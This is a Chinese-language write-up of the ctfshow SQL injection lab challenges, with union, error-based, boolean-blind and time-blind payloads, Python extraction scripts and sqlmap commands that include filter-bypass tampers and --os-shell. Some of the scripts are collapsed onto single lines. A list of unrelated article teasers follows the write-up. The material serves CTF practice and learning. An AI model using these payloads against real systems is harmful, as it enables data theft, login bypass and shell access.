当前位置: 首页 > news >正文

ctfshow的sql注入解题思路171-211

ctfshow-SQL注入

web171:爆库名->爆表名->爆字段名->爆字段值

-1' union select 1,database() ,3 --+ //返回数据库名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+ //获取数据库里的表名

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名' --+ //获取表内字段名

-1' union select 1,group_concat(字段名1),group_concat(字段名2) from 表名 --+ //获取字段值,有2个表,第一个表的password内有个值为flag not here,第二个表的password内有flag

解法2:也可以用万能钥匙-1' or 1=1--+,也可以取到flag

解法3:也可以用或者-1’or username=flag来获取到flag

其他题没有过滤的时候同理

177:这道题目过滤了空格,那我们就可以用"/**/"来代表空格。还有--+,我们可以用%23来代表过滤,然后沿用上面的几个方法都可以找到flag

web178:这道题还是过滤空格,但是把/**/也过滤了,但我们可以利用换行符%09来获取到flag

web179:不知道为啥一下子就出来了

解法2、应该还是过滤空格,不过这次使用%0c来代替空格

web180:用上面的方法都不可以,感觉好像过滤掉了+号,但是我们可以不使用万能钥匙,我们直接使用基本语句-1'or username like 'flag,把空格改为%0c就可以拿到flag了

web181:过滤了很多的参数,空格类的差不多都被禁用了

但是我们可以使用-1'or`username`='flag来获取到flag,或者使用1'or'1'='1'--%0c,也可以获取到flag,但是里面写着禁用0c,却还是可以用,我知道为什么

web182:又过滤了flag,所以不能用181的payload来获取flag了,这一波还是使用万能钥匙-1’or'1'='1'--%01

web183:

web:187

这个这里使用了md5加密,而ffifdyop经过md5($password,true)过后恰好结果是'or'6�]��!r,��b,即最后组成的sql语句是$sql="select password from users where password=''or'<xxx>'"成功绕过。ffifdyop绕过MD5进行sql注入-CSDN博客

web:188

因为他查询的username没有用双引号保护,所以可以令username=0.即可查出。select count(*) from ctfshow_user where username = 0,语句就会变成这样,而0代表搜索所有的字母表。

web189:

提示flag在./api/index.php里,访问api发现有回显

布尔盲注

使用load_file函数读取文件 然后用python进行盲注

web190:

为什么要有admin呢 这也是试出来的 这个admin必须是数据库中存在的 这样才能使用布尔注入 因为这个时候登录 有两种返回结果 一种密码错误 一种就是用户名错误

admin' and '1'='1 密码错误

admin' and '1'='2 用户名不存在

判断出存在注入点

admin' and '1'='1 密码错误 返回值8bef

admin' and '1'='2 用户名不存在 返回值 5728

以上可以证明出可以使用布尔注入 当and后为1为一个页面 当and后为0为一个页面

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<100)#&password=0

返回值8bef 也就是and后语句返回1

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<99)#&password=0

返回值 5728 也就是and后语句返回0

得出flag

# payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
# 当前数据库 ctfshow_web
# payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
# 当前数据表 ctfshow_fl0g和ctfshow_user
# payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
# 当前字段名 id,f1ag
# payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
# 获取flag

import requests
url = "http://72366131-2d1e-4484-9bb5-9c6bbe82b7b3.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):max = 127 #ascii最大值min = 32  #ascii最小值while 1:#无限循环mid = (max+min)>>1 #相当于除2向下取整print("第{}波 max={} min={} mid={} ".format(i,max,min,mid))if(min == mid):#相等也就代表min+1=max  max=100min=99 mid=99 这个时候max=100返回值为1 min=99返回值为0 这就能证明ascii为99 该值为cflag += chr(mid)print(flag)break# payload = "admin'and (ord(substr((select database()),{},1))<{})#".format(i,mid)# 当前数据库 ctfshow_web# payload = "admin'and (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)# 当前数据表 ctfshow_fl0g和ctfshow_user# payload = "admin'and (ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)# 当前字段名 id,f1ag# payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)# 获取flagpayload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)data = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if res.text.find("8bef")>0:#返回值为1 <100 将该值设置为maxmax = midelse:                      #返回值为0 <99 将该值设置为minmin = midif mid == 32:# 如果mid的值等于空格 结束最外层循环print("flag={}".format(flag))break

web191:代码如上,把ascii改成ord就可以了,方法一样

web192:ord也被禁用了 hex也被禁用了

那就不用函数 直接判断字符是哪一个

username=admin'and (substr((select database()),1,1)='c')#&password=0

import requests
url = "http://68d5834f-ba36-4b7c-9845-b7e7f717ee00.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789 "
for i in range(1,60):for x in flagdic:# payload = "admin'and (substr((select database()),{},1)='{}')#".format(i,x)# 当前数据库 ctfshow_web# payload = "admin'and (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}')#".format(i,x)# 当前数据表 ctfshow_fl0g和ctfshow_user# payload = "admin'and (substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))='{}')#".format(i,x)# 当前字段名 id,f1ag# payload = "admin'and (substr((select f1ag from ctfshow_fl0g),{},1)<{})#".format(i,mid)# 获取flagpayload = "admin'and (substr((select f1ag from ctfshow_fl0g),{},1)='{}')#".format(i,x)data = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if res.text.find("8bef")>0:if x == " ":# 其实这个if有没有都一个意思 我只是不想多输出一次flagbreakflag+=xprint(flag)breakif x == " ": # 如果遍历到字典的最后的空格 就退出循环代表结束break

web193:过滤了substr,但是我们可以用left来代替substr,其中要注意的是

leftadmin'and (left((select database()),{})='{}')#

substr:admin'and (substr((select database()),{},1)='{}')#

substr多了一个序号。

import requests
url = "http://aadbae77-23a2-4f3a-8e40-02523573b6a3.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:# payload = "admin'and (left((select database()),{})='{}')#".format(i,flag+x)# 当前数据库 ctfshow_web# payload = "admin'and (left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{}))='{}'#".format(i,flag+x)# 当前数据表 ctfshow_flxg 之前表名为fl0g 现在为flxg# payload = "admin'and (left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{}))='{}'#".format(i,flag+x)# 当前字段名 id,flagpayload = "admin'and (left((select f1ag from ctfshow_flxg),{}))='{}'#".format(i,flag+x)# 获取flagdata = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if x == " ":a = 1breakif res.text.find("8bef")>0:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break

web194:left被禁用了,那就使用lpad: "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#和left有所不同,

import requests
url = "http://3e49521e-b292-4475-85ca-144b508f1868.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):for x in flagdic:payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,flag+x)# 获取flagdata = {"username":payload,"password":0,}res = requests.post(url = url,data =data)if x == " ":a = 1breakif res.text.find("8bef")>0:flag+=xprint(flag)breakif a:print("answer={}".format(flag))break

web195:堆叠注入

跟着大师傅思路走 直接使用update更新pass 这样所有的pass都被修改为已知的

(前提依旧是已知一个用户admin)

pass已知后 就能通过这个语句

使用叠加注入 更新所有密码,然后把账户改成0,密码为1即可https://blog.csdn.net/m0_72125469/article/details/135088746

web:196

这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。

(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是忘记改了。不过select也并没有被过滤)

可以select绕过password的if判断。

判断条件满足的设定是$row[0]==$password,$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。

既然可以堆叠注入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。

那么可以输入username为1;select(9),password为9。当$row获取到第二个查询语句select(9)的结果集时,即可获得$row[0]=9,那么password输入9就可以满足条件判断

197:

这次select彻底被过滤了 并且update也被过滤了

方法1

利用show。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。

用户名:1;show tables

密码:ctfshow_user

有个缺点如果ctfshow_user表不在row【0】的位置那就会失败

注意为什么admin;show tables会查询失败 换成数字就好 因为admin必须使用单引号才可以 但是单引号被过滤了

方法2:

web198与web197基本一致,我们可以用insert向ctfshow_user表的username和pass字段中添加值

username   0' insert ctfshow_user(`username`,`pass`) value(1,2)
password   123

在输入用户名为1,密码为2

username  1
password  2

就可以获取flag

web:198

payload:

用户名:1;show tables

密码:ctfshow_user

web:199

payload:

用户名:1;show tables

密码:ctfshow_user

web200:

payload:

用户名:1;show tables

密码:ctfshow_user

web:201

python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" --dbs
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

2.查询到数据库名是ctshow_web(python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" --dbs

3.python .\sqlmap.py -u "http://3fbd84bf-6fe1-45e9-bead-aca9d6f73d05.challenge.ctf.show/api/?id="--user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables查询他的表名

4.python .\sqlmap.py -u "http://3fbd84bf-6fe1-45e9-bead-aca9d6f73d05.challenge.ctf.show/api/?id="--user-agent=sqlmap --referer=ctf.show -D ctfshow_user -T ctfshow_user --dump

web:202 他叫我们把sqlmap的请求方式改变一下,我们就直接在我们刚刚的基础上再添加一个--data “id=1”就可以了

python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show 
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" --dbs 
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

切记要加上index.php 否则不好使

web203:这道题要求使用method调整sqlmap的请求方式

提示要用--method改变请求方式,这里使用PUT请求,但是要记得加上设置Content-Type头,否则会变成表单提交:

#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" --dbs
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

web:204这道题要求我们使用cookie来添加

#python.\sqlmap.py - u"http://20815594-bf49-434d-81ff-27084740e293.challenge.ctf.show/api/index.php" - -data"id=1" - -method = PUT - -header = "Content-Type:text/plain" - -cookie = "PHPSESSID=gsalkdjo8546dqc4dhoqt1bc7u; ctfshow=161f311aae7f4a6afff53434bdcb956d" - -user - agent = sqlmap - -referer = "ctf.show" - Dctfshow_web - T
ctfshow_user - -dump

web:205

抓包 估计这就是鉴权的意思 先访问一个指定页面传入cookie 然后才进行传值,就是可以先设置访问一个cookie的地方然后传入cookie这样子,说明每次都会提交到/api/getToken.php

--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置几次访问一次鉴权页面
python sqlmap.py -u "http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/index.php" 
--data="id=1" --refer="ctf.show" 
--method="PUT" --headers="Content-Type:text/plain" 
--safe-url="http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/getToken.php" 
--safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch

这边会遇到他的表明被改了,我们只需要添加上--tables就可以查询到新的表名是什么,然后进去就好了

web206:用上一个的payload就可以了,但是要记得safeurl要改,然后cookie要改,url要改

这里我测试 不使用cookie也可以 但是必须要有访问鉴权的页面的操作 我查看鉴权页面也需要传入cookie 但是脚本不需要cookie也可以

我是这么理解的 上一题中 api页面会检查cookie 所以必须传入cookie 鉴权页面不需要cookie 但是必须要访问鉴权页面 要有这个过程 这道题api页面不需要cookie

加上多余的操作 就是闭合sql语句

但是准确的做法是

python .\sqlmap.py -u http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" -D ctfshow_web -T ctfshow_flaxc --dump

web:207 --tamper的初体验

这个的使用就是基于sqlmap自带的一个脚本文件,--tamper-space2comment.py,在后面添加一个这个就可以过滤掉空格单引号和双引号。所以这题的payload是

python .\sqlmap.py -u "http://c0cc7df8-1159-4771-9780-56a37450ac2f.challenge.ctf.show/api/index.php" --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://c0cc7df8-1159-4771-9780-56a37450ac2f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=9f8v678b305avu562l4it2e0l2" --prefix="')" --suffix="#" --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca --dump

web208:

python sqlmap.py -u "http://6f26b2b2-7b83-431e-aba9-122bd6d08b17.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --
referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=1vrv4fg7q4uid8i1lhma043h20" --safe-url="http://6f26b2b2-7b83-
431e-aba9-122bd6d08b17.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web --tables

这道题不会做,因为不会写脚本,所以直接用了WP,到时候会写脚本了再回来看看

uppercase.py

这道题主要是用了里面的uppercase.py

web:209没搞出来,休息

web:210

他这边

python .\sqlmap.py -u "http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1i3gg538qj27clmj4sraoff05g" --tamper 210.py -D ctfshow_web --tables

首先先爆数据库名称,再报表的名称,再爆库的名称,然后三个叠加起来,然后查询,因为有一些地方的数据库名称变了,需要重新再来一遍

python .\sqlmap.py -u "http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1i3gg538qj27clmj4sraoff05g" --tamper 210.py -D ctfshow_web -T ctfshow_flavi --columns

web211:爆库名->爆表名->爆字段名->爆字段值,还是样子,用web210的脚本就可以了,因为我抄的别人的脚本,流程和210一模一样

web212:同理

web213:这一次添加了os-shell,os-shell的使用就是在后面直接添加一个--os-shell就可以达到getshell的目的

在遇到这个图之后,前面三个选择默认就可以了,到了最后一个1234的选择2,然后路径输入/var/www/html/

然后就可以getshell了,利用shell进入他的页面输入ls看看有没有东西,发现没有就进入到ls的下个目录,ls /

发现有一额给ctfshow_flag,所以我们再用cat /ctfshow_flag获取到flag的值

web214:页面这边空空如也,用BP抓一下包刷新一下,forward两下,发现有一个POST请求包,然后把debug改为1发现语句变成了SQL语句,存在注入点

把ip改为ip=if(2>1,sleep(3),2),发现他会睡三秒,这时候我们就可以使用时间盲注了

# payload = "if(substr(database(),{},1)='{}',sleep(1),2)".format(i,x)
# print(payload) 用于检测问题的
# 当前数据库 ctfshow_web
# payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)".format(i, x)
# 当前数据表 answer=ctfshow_flagx,ctfshow_info
# payload = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'),{},1)='{}'),sleep(1),2)".format(i, x)
# 当前字段名 id,flaga,info
#payload = "if((substr((select flaga from ctfshow_flagx),{},1)='{}'),sleep(1),2)".format(i, x)
# 获取flag

web215:加大一点满肚 使用单引号 以及屏蔽了部分内容 思路就是 使用bp抓包 然后 使用简单的if语句 判断 盲注语句格式

需改debug 确实 提示确实使用了单引号

测试

需要注意两点 都是我遇见的问题

第一点 if不要在引号内

第二点 不要使用and 使用or 因为and第一个如果是假的 and后的if不执行

记得要使用#来注释掉后面的内容才可以

web216:用mysql的tobase64

#payload = 'to_base64(if(substr(database(),{},1)="{}",sleep(1),2))'.format(i, x)
# 当前数据库 ctfshow_web
#payload = "to_base64(if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2))".format(i, x)
# 当前数据表 answer=ctfshow_flagxcc,ctfshow_info
#payload = "to_base64(if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcc'),{},1)='{}'),sleep(1),2))".format(i, x)
# 当前字段名 id,flagaac,info

NSSCTF中的堆叠注入

后台的执行逻辑是 select 参数||flag from 表;
这里构造payload *,1 使sql成为 select ,1||flag from 表
其中的 会查询出后面表所有的结果

爆出数据库名字
-1'and(select extractvalue(1,concat('~',(select database()))))#	报错注入
爆出所有数据库名
-1'and(select extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata))))#
爆出数据库test_db下所有的
-1'and(select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))))#
爆出test_db数据库下test_tb表所有的列名
-1'and(select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name="test_tb" and table_schema='test_db'))))#
查询flag
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 1 , 31)))))#  0-30位 左边30位
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 31 , 60)))))#  31-60位

相关文章:

ctfshow的sql注入解题思路171-211

ctfshow-SQL注入 web171&#xff1a;爆库名->爆表名->爆字段名->爆字段值 -1 union select 1,database() ,3 -- //返回数据库名 -1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema库名 -- //获取数据库里的表名 -…...

深入理解C语言中的静态库与动态库 —— 原理与实践

引言 在 C 语言编程中&#xff0c;库是预编译的代码集合&#xff0c;用于实现特定功能&#xff0c;以供其他程序使用。库可以分为静态库和动态库两种主要类型。静态库在编译阶段被链接到目标程序中&#xff0c;而动态库则是在运行时被加载。本文旨在深入探讨这两种库的工作原理…...

本地缓存库分析(一):golang-lru

文章目录 本地缓存概览golang-lru标准lrulru的操作PutGet 2q&#xff1a;冷热分离lruPutGet expirable_lru&#xff1a;支持过期时间的lruPutGet过期 总结 本地缓存概览 在业务中&#xff0c;一般会将极高频访问的数据缓存到本地。以减少网络IO的开销&#xff0c;下游服务的压…...

qt配置https请求

qt应用版本 windows 32位 先说下心理路程&#xff0c;你能遇到的我都遇到了&#xff0c;你能想到的我都想到了&#xff0c;怎么解决看这一篇就够了&#xff0c;从上午12点到晚上12点几乎没离开电脑&#xff08;除了吃饭&#xff09;&#xff0c;对于openssl这种用的时候无感&am…...

C语言进阶——文件操作

一、文件的基本知识 1.1什么是文件 在程序设计中&#xff0c;一般谈的文件有两种&#xff1a;程序文件、数据文件。 程序文件&#xff1a;包括源程序文件&#xff08;后缀为.c&#xff09;&#xff0c;目标文件&#xff08;windows环境后缀为.obj&#xff09;&#xff0c;可执…...

MYSQL-查看用户权限语法(二十一)

13.7.5.21 SHOW GRANTS 语句 SHOW GRANTS [FOR user]此语句以GRANT语句的形式显示分配给MySQL用户帐户的权限&#xff0c;必须执行GRANT语句才能复制权限分配。 注意 要显示MySQL帐户的非特权信息&#xff0c;请使用SHOW CREATE USER语句。 参见第 13.7.5.12 节“ SHOW CREA…...

在MySQL中存储IP地址的最佳实践

文章目录 一、IP地址的格式二、存储IP地址的数据类型选择1. VARCHAR优点缺点 2. INT 或 BIGINT优点缺点示例 3. VARBINARY优点缺点示例 三、最佳实践建议1. 选择合适的数据类型2. 索引优化3. 数据验证4. 安全性考虑 四、Java支持五、结论 在现代网络应用中&#xff0c;IP地址是…...

Vite打包配置

Vite打包配置 1.项目启动自动打开网页 {"scripts": {"dev": "vite --open"} }2.base配置打包公共路径 配置base选项的作用主要是指定项目在开发或生产环境中的公共基础路径。这个配置项对于确保资源能够正确加载尤为关键&#xff0c;尤其是在…...

node集成redis (教学)

文章目录 前言一、安装redis二、可视化界面测试连接1.vscode安装插件 三、node代码编写1.先安装两个库&#xff08;redis和ioredis&#xff09;2.测试连接 &#xff08;前提是你的redis服务器要启动起来&#xff09; 总结 前言 在Node.js中集成ioredis是一个常见的做法&#x…...

江协科技STM32学习- P22 实验-ADC单通道/ADC多通道

&#x1f680;write in front&#x1f680; &#x1f50e;大家好&#xff0c;我是黄桃罐头&#xff0c;希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流 &#x1f381;欢迎各位→点赞&#x1f44d; 收藏⭐️ 留言&#x1f4dd;​…...

RL学习笔记-马尔可夫过程

参考资料&#xff1a;蘑菇书、周博磊老师课程 在强化学习中&#xff0c;智能体与环境交互是通过马尔可夫决策过程来表示的&#xff0c;因此马尔可夫决策过程是强化学习的基本框架。 马尔可夫性质 指一个随机过程在给定现在状态及所有过去状态情况下&#xff0c;其未来状态的条件…...

LeetCode Hot 100:动态规划

LeetCode Hot 100&#xff1a;动态规划 70. 爬楼梯 class Solution { public:int climbStairs(int n) {if (n 0)return 0;vector<int> dp(n 1);// 初始化dp[0] 1;// 状态转移for (int i 1; i < n; i) {dp[i] dp[i - 1];if (i > 2)dp[i] dp[i - 2];}return …...

使用Python制作雪景图片教程

如果你想用Python写一个程序来输出有关“深夜雪”的诗意文本或描述&#xff0c;可以通过简单的字符串输出来实现。以下是一个示例代码&#xff0c;展示如何用Python来描绘深夜雪的场景。 # 定义深夜雪的描述 description """ 夜幕降临&#xff0c;天空洒下银色…...

S-Function

目录 S-Function介绍 生成S-Function的三种常用手段 使用手写S-函数合并定制代码 使用S-Function Builder块合并定制代码 使用代码继承工具合并定制代码 S-Function介绍 我们可以使用S-Function扩展Simulink对仿真和代码生成的支持。例如&#xff0c;可以使用它们&#xf…...

如何具备阅读JAVA JDK虚拟机源码能力

源码位置https://github.com/openjdk/jdk 核心实现源码[部分截图] /* * Copyright (c) 1995, 2024, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistr…...

Python | Leetcode Python题解之第514题自由之路

题目&#xff1a; 题解&#xff1a; Test "godding" target "d"i 0left i lc 0 right i rc 0while Test[left] ! target:left - 1lc 1if left -1:left len(Test) - 1while Test[right] ! target:right 1rc 1if right len(Test):right 0prin…...

Docker 镜像下载问题及解决办法

Docker 镜像下载问题及解决办法 我在杂乱的、破旧的村庄寂寞地走过漫长的雨季&#xff0c;将我年少的眼光从晦暗的日子里打捞出来的是一棵棵开花的树&#xff0c;它们以一串串卓然不俗的花擦明了我的眼睛&#xff0c;也洗净了我的灵魂。 引言 在使用 Docker 时&#xff0c;用户…...

2分钟搞定 HarmonyOs Next创建模拟器

官方文档参考链接&#xff1a; 创建模拟器-管理模拟器-使用模拟器运行应用/服务-应用/服务运行-DevEco Studio - 华为HarmonyOS开发者https://developer.huawei.com/consumer/cn/doc/harmonyos-guides-V5/ide-emulator-create-V5 1. 首先打开Device Manager 2. 进入这个界面后…...

方形件排样优化与订单组批问题探析

方形件排样优化与订单组批问题是计算复杂度很高的组合优化问题&#xff0c;在工业工程中有很广泛的应用背景。为实现个性化定制生产模式&#xff0c;企业会选择订单组批的方式&#xff0c;继而通过排样优化实现批量切割&#xff0c;加工完成后再按照不同客户需求进行分拣&#…...

vue3组件通信--自定义事件

自定义事件是典型的子传父的方法。 为什么叫自定义事件呢&#xff1f;是因为我们用sendToy"getToy"这种格式写&#xff0c;很显然&#xff0c;在DOM中&#xff0c;没有叫sendToy的事件。 父组件FatherComponent.vue: <script setup> import ChildComponent fr…...

ubuntu 安装k3s

配置hostname的方法为 hostnamectl set-hostname k3sserver hostnamectlsudo apt-get update && sudo apt-get upgrade -y sudo apt-get install -y curl#手动下载v1.31.1k3s1 https://github.com/k3s-io/k3s/releases/tag/v1.31.1%2Bk3s1 #将k3s-airgap-images-amd64…...

SQL CHECK 约束:确保数据完整性的关键

SQL CHECK 约束:确保数据完整性的关键 在数据库管理中,确保数据的完整性和准确性是至关重要的。SQL(Structured Query Language)提供了多种约束条件来帮助实现这一目标,其中之一就是 CHECK 约束。本文将深入探讨 SQL CHECK 约束的概念、用法和优势,并展示如何在不同的数…...

C++ | Leetcode C++题解之第502题IPO

题目&#xff1a; 题解&#xff1a; typedef pair<int,int> pii;class Solution { public:int findMaximizedCapital(int k, int w, vector<int>& profits, vector<int>& capital) {int n profits.size();int curr 0;priority_queue<int, vect…...

《虚拟现实的边界:探索虚拟世界的未来可能》

内容概要 在虚拟现实&#xff08;VR&#xff09;技术的浪潮中&#xff0c;我们见证了其从实验室的奇想逐渐走向日常生活的非凡旅程。技术发展的背后是不断突破的创新&#xff0c;早期的设备虽然笨重&#xff0c;但如今却趋向精致、轻巧&#xff0c;用户体验显著提升。想象一下…...

Rust教程

2024 Rust现代实用教程&#xff1a;1.1Rust简介与安装更新––2024 Rust现代实用教程&#xff1a;1.2编译器与包管理工具以及开发环境–––––––––––...

测试代理IP的有效性和可用性

使用代理IP的有效性和可用性直接关系到用户的工作效率&#xff0c;尤其是在进行数据抓取、网络爬虫和保护个人隐私等场景中。 一、测试代理IP的必要性 代理IP的可用性测试是确保代理服务正常运行的重要步骤。测试代理IP的必要性主要体现在以下几个方面&#xff1a; 提升工作…...

散列表:为什么经常把散列表和链表放在一起使用?

散列表:为什么经常把散列表和链表放在一起使用? 在计算机科学中,散列表(哈希表)和链表是两种常见的数据结构。你可能会好奇,为什么它们经常被放在一起使用呢?让我们一起来深入探讨这个问题。 一、散列表的特点 散列表是一种根据关键码值(Key value)而直接进行访问的…...

计算机网络:网络层 —— IPv4 地址与 MAC 地址 | ARP 协议

文章目录 IPv4地址与MAC地址的封装位置IPv4地址与MAC地址的关系地址解析协议ARP工作原理ARP高速缓存表 IPv4地址与MAC地址的封装位置 在数据传输过程中&#xff0c;每一层都会添加自己的头部信息&#xff0c;最终形成完整的数据包。具体来说&#xff1a; 应用层生成的应用程序…...

PMP--一、二、三模、冲刺、必刷--分类--10.沟通管理--技巧--文化意识

文章目录 技巧一模10.沟通管理--1.规划沟通管理--文化意识--军事背景和非军事背景人员有文化差异文化意识&#xff1a;题干关键词 “两拨人的背景不同、文化差异、风格差异”。5、 [单选] 项目团队由前军事和非军事小组成员组成。没有军事背景的团队成员认为前军事团队成员在他…...

FileReader和FileWriter

